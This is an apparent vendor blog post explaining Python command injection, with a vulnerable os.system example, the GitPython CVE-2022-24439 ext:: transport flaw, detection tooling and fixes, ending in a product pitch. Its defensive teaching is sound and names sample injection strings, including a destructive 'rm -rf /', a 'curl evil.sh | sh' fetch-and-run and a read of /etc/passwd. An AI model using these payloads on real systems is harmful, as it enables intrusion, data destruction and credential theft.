Safeguard
Application Security

Command injection in Python: examples and prevention

Python command injection lets attackers run arbitrary OS commands via os.system() or subprocess. Learn how it works, a real CVE, and how to prevent it.

Bob
Application Security Engineer
6 min read

Python command injection happens when a program passes attacker-controlled input into a function that executes OS shell commands — os.system(), subprocess.run(..., shell=True), os.popen(), or similar — without sanitizing it first. The result is that a string like ; rm -rf / or $(curl evil.sh | sh) doesn't just get treated as data; the shell interprets it as a second command and runs it with whatever privileges the Python process has. CWE-78 (OS Command Injection) ranked #5 on MITRE's 2023 CWE Top 25 Most Dangerous Software Weaknesses, and it remains common in Python specifically because the language makes shelling out easy: one line of os.system(f"ping {host}") is often faster to write than the safe alternative. This post walks through how the vulnerability class works in Python, a real CVE that shipped it to production, how to find it in your codebase, and how to fix it for good.

What is Python command injection?

Python command injection is a vulnerability where untrusted input reaches a function that hands a string to the operating system's shell for execution, letting an attacker append or substitute their own commands. The classic vulnerable pattern looks like this:

import os

def ping_host(host):
    os.system(f"ping -c 1 {host}")

If host comes from a web form and a user submits 8.8.8.8; cat /etc/passwd, the shell runs both ping -c 1 8.8.8.8 and cat /etc/passwd because os.system() passes the entire string to /bin/sh -c. The same flaw appears with subprocess.Popen(cmd, shell=True), os.popen(), and the deprecated commands module in Python 2. The root cause is always the same: a shell is invoked with attacker-influenced string concatenation instead of a fixed, argument-separated command.

Which Python functions are most commonly exploited for command injection?

The functions most commonly exploited are os.system(), os.popen(), and any subprocess call made with shell=True, because all three delegate parsing to /bin/sh or cmd.exe instead of executing a binary directly. subprocess.call(), subprocess.run(), and subprocess.Popen() are actually safe by default (shell=False) when given a list of arguments — the danger only appears when a developer sets shell=True and builds the command as a single interpolated string. Other exploitable sinks include os.spawn*() family functions passed through a shell wrapper, paramiko's exec_command() when it forwards unsanitized strings to a remote shell, and third-party libraries that wrap Git, ImageMagick, or FFmpeg CLIs internally. Bandit, Python's own security linter, flags these as rule IDs B602 (subprocess with shell=True), B605 (os.system), and B607 (starting a process with a partial executable path) — a useful checklist for an audit even without running the tool.

What does a real-world Python command injection vulnerability look like?

A real-world example is CVE-2022-24439 in GitPython, a widely used library for scripting Git operations from Python, which received a CVSS v3 base score of 9.8 (Critical) and was fixed in version 3.1.30. The bug lived in Repo.clone_from(): GitPython passed the remote URL argument straight to the git clone command without validating its scheme. Git supports "ext" transport helpers of the form ext::sh -c <command>, and because GitPython didn't block that scheme, an attacker who controlled the repository URL — for example, a URL submitted through a CI pipeline, package installer, or web app that auto-clones user-supplied repos — could pass something like ext::sh -c "touch /tmp/pwned"%(A) and have Git execute it directly. No Python-level string formatting was even required; the injection point was the argument handed to an external process that itself supported command execution via a URL scheme. This is a useful reminder that command injection risk doesn't stop at your own os.system() calls — any dependency that shells out on your behalf inherits the same risk, and a vulnerable version sitting in your SBOM is just as exploitable as vulnerable code you wrote yourself.

How do you detect command injection in Python code?

You detect Python command injection by combining static analysis that flags dangerous sinks with taint tracking that confirms whether untrusted input actually reaches them. Static tools like Bandit, Semgrep, and CodeQL can scan a codebase in seconds and report every shell=True call or os.system() invocation, but a raw list of matches is noisy — a large Django or Flask codebase can easily surface 50-100 Bandit B602/B605 findings, and most turn out to be internal, hardcoded commands with no user input anywhere near them. The more precise signal comes from reachability analysis: tracing the data flow from an HTTP request parameter, a queue message, or an environment variable through the call graph to confirm it lands inside the vulnerable function's argument. Runtime detection matters too — logging or alerting when a spawned child process's command line diverges from an expected allow-list catches injection attempts that slipped past code review, including ones introduced by a compromised dependency rather than first-party code.

How do you prevent command injection in Python?

You prevent Python command injection primarily by never invoking a shell with attacker-influenced input — use subprocess.run(["ping", "-c", "1", host], shell=False) with arguments as a list instead of a formatted string, and Python will execute the binary directly without any shell interpreting metacharacters like ;, |, &&, or backticks. If a shell is genuinely required (for globbing, pipes, or environment expansion), sanitize each argument with shlex.quote() before interpolation, and still validate the input against a strict allow-list — for a hostname field, that might mean matching ^[a-zA-Z0-9.-]+$ and rejecting anything else before it ever reaches the command. Prefer native Python or library APIs over shelling out to a CLI at all: use shutil for file operations instead of calling cp/mv, and use pygit2 or a patched GitPython (3.1.30+) instead of building raw git command strings. Finally, run the process with the least privilege it needs — a compromised ping wrapper running as an unprivileged service account limits blast radius far more than the same bug running as root in a container with NET_ADMIN.

How Safeguard Helps

Safeguard's reachability analysis traces untrusted input sources — API parameters, message queue payloads, uploaded file names — through your call graph to confirm whether a flagged os.system() or shell=True call is actually exploitable, cutting through the noise that makes raw Bandit or Semgrep output hard to prioritize. Griffin, Safeguard's AI security analyst, reviews each finding in context, explains the exploit path in plain language, and ranks it against the rest of your backlog so command injection in a public-facing endpoint gets triaged before a low-risk internal script. Safeguard generates and ingests SBOMs to catch vulnerable third-party packages like unpatched GitPython before CVE-2022-24439-style bugs reach production, and where a fix is mechanical — swapping shell=True for an argument list, or bumping a dependency to a patched version — Safeguard opens an auto-fix pull request so your team reviews a diff instead of writing the patch from scratch.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.